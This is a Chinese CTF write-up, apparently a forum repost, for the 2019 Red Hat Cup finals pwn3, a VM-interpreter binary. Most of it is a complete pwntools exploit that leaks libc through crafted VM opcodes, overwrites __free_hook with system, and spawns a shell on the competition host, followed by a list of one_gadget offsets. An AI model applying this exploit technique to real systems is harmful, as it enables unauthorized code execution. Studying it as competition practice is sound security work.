欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]2019-redhat决赛-pwn3

[原创]2019-redhat决赛-pwn3

好久没论坛发帖,来刷个存在感,顺便贴一下我的专栏----pwn踩坑之路,有事没事会在上面水一篇两篇的帖子。
昨天参加的红帽杯决赛,一共有四个pwn题,我在最后的时候把pwn3解出来了,菜鸡的本质就是慢。
这是我做的第一道VM题目,平常都是不做VM(因为我懒,而且队友会做),无奈这次都是VM题目,就只能硬着头皮看了。最后做出来了,还是很开心。
这道题目的运算逻辑挺多的,我是从头到尾慢慢分析,直到把所有的流程全部分析结束之后,找到了任意地址读和任意地址写的办法,然后首先泄露libc,再将free_hook改成system,最终free('sh')拿到的shell。

checksec : PIE没开 i386

exp:如下

#https://github.com/matrix1001/welpwn

from PwnContext import *

from pwn import *

import sys, os

try:

    from IPython import embed as ipy

except ImportError:

    print ('IPython not installed.')

if __name__ == '__main__':        

    context.terminal = ['tmux', 'splitw', '-h']

    context.log_level = 'debug'

    # functions for quick script

    s       = lambda data               :ctx.send(str(data))        #in case that data is an int

    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 

    sl      = lambda data               :ctx.sendline(str(data)) 

    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 

    r       = lambda numb=4096          :ctx.recv(numb)

    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)

    irt     = lambda                    :ctx.interactive()

    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)

    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)

    # misc functions

    uu32    = lambda data   :u32(data.ljust(4, '\0'))

    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    def change_ld(binary, ld):

        """

        Force to use assigned new ld.so by changing the binary

        """

        if not os.access(ld, os.R_OK): 

            log.failure("Invalid path {} to ld".format(ld))

            return None

        if not isinstance(binary, ELF):

            if not os.access(binary, os.R_OK): 

                log.failure("Invalid path {} to binary".format(binary))

                return None

            binary = ELF(binary)

        for segment in binary.segments:

            if segment.header['p_type'] == 'PT_INTERP':

                size = segment.header['p_memsz']

                addr = segment.header['p_paddr']

                data = segment.data()

                if size <= len(ld):

                    log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))

                    return None

                binary.write(addr, ld.ljust(size, '\0'))

                if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')

                path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))

                if os.access(path, os.F_OK): 

                    os.remove(path)

                    info("Removing exist file {}".format(path))

                binary.save(path)    

                os.chmod(path, 0b111000000) #rwx------

        success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) 

        return ELF(path)

    elf = change_ld('./pwn', './ld.so')

    #ctx = elf.process(env={'LD_PRELOAD':'./libc.so.6'})

    #ctx.binary = './pwn'

    ctx = remote('172.16.9.41',9003)

    #ctx.breakpoints = [0x08049719,0x08048A92,0x08048A7A,0x08048812,0x0804886B]#menu:08049719  add_1:0x0804974D printf:0x0804979C  add_finish:0x080497AD play:0x08048732

    def lg(s,addr):

        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(payload):

        sla('>>>',1)

        sleep(0.1)

        s(payload)

    def delete():

        sla('>>>',3)

    def play():

        sla('exit\n>>> ',2)

    def copy(a,b):

        payload = ""

        payload += '\0'+chr(a)+chr(b)

        return payload

    def sum_add(a,b):

        payload = ""

        payload += '\x40'+chr(a)+chr(b)

        return payload

    def put():

        payload = ""

        payload += "\x11\x01"

        return payload

    def get():

        payload = ""

        payload = '\x11\x00'

        return payload

    def out():

        payload='\xb0'

        return payload

    def sum_delete(a,b):

        payload = '\x50'+chr(a)+chr(b)

        return payload

    #rs('remote')

    #rs()

    payload = copy(3,10)+put()+sum_add(3,0x6a)+put()+sum_add(3,0x6a)+put()+sum_add(3,0x6a)+put()+out()

    payload = payload.ljust(0x70,'\0')

    payload += p32(1)+'sh\0\0'#6b

    add(payload+'\n') #

    #dbg()

    delete()

    play()

    #ru('\xb0')

    #libc = '\xb0'+r(3)

    #libc = ru('\xf7',drop=False)

    #libc = libc[-4:]

    libc = ru('1.',drop = True)

    libc = u32(libc)

    libc_base = libc -0x1b27b0 + 0x2000

    lg('libc_base ',libc_base)

    #raw_input()

    #one = libc_base + 0x5fbc6

    libc = ELF('./libc.so.6')

    system_addr = libc_base + libc.sym['system']

    free_hook = libc_base  + libc.sym['__free_hook']

    payload = copy(3,0xdd) + get() + sum_add(3,0x6a)+ get() + sum_add(3,0x6a)+ get() + sum_add(3,0x6a)+get()+copy(0,0x6b)+out()

    payload = payload.ljust(0x30,'\0')

    payload += p32(system_addr) + p32(free_hook)

    #gdb.attach(ctx,'b getchar')

    add(payload+'\n\n')

    #dbg()

    #gdb.attach(ctx,'b getchar')

    play()

    sleep(1)

    s(p32(system_addr))

    #dbg()

    #gdb.attach(ctx,'b getchar')

    delete()

    irt()

'''

0x3ac5c execve("/bin/sh", esp+0x28, environ)

constraints:

  esi is the GOT address of libc

  [esp+0x28] == NULL

0x3ac5e execve("/bin/sh", esp+0x2c, environ)

constraints:

  esi is the GOT address of libc

  [esp+0x2c] == NULL

0x3ac62 execve("/bin/sh", esp+0x30, environ)

constraints:

  esi is the GOT address of libc

  [esp+0x30] == NULL

0x3ac69 execve("/bin/sh", esp+0x34, environ)

constraints:

  esi is the GOT address of libc

  [esp+0x34] == NULL

0x5fbc5 execl("/bin/sh", eax)

constraints:

  esi is the GOT address of libc

  eax == NULL

0x5fbc6 execl("/bin/sh", [esp])

constraints:

  esi is the GOT address of libc

  [esp] == NULL

'''

跟一跟程序逻辑就明白怎么读写了,有的逻辑是重复的。have fun.

上传的附件 pwn3.zip

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功